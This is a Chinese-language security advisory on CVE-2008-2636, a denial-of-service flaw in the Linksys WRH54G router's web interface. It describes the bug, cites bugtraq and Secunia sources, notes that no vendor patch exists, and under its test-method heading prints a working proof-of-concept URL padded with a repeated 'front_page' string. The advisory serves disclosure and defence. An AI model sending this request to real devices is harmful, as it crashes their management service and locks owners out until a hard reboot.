发布日期：2008-06-05
更新日期：2008-06-06

受影响系统：

Cisco Linksys WRH54G v1.01.03

描述：

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CVE(CAN) ID: CVE-2008-2636

Linksys WRH54G是一款54M的无线宽带路由器。

Linksys WRH54G在处理畸形的HTTP请求时存在漏洞，如果向路由器发送的HTTP请求中包含有./字符串和超长字符的话，就可能破坏敏感内存，导致HTTP服务崩溃，用户无法远程访问路由器，必须硬重启才能恢复功能。但路由器仍可正常路由报文。

<*来源：dubingyao （dubingyao@gmail.com）
  
  链接：http://marc.info/?l=bugtraq&m=121268514404547&w=2
        http://secunia.com/advisories/30562/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://192.168.1.106/./front_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_page.asp

建议：

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厂商补丁：

Cisco
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目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.cisco.com/warp/public/707/advisory.html

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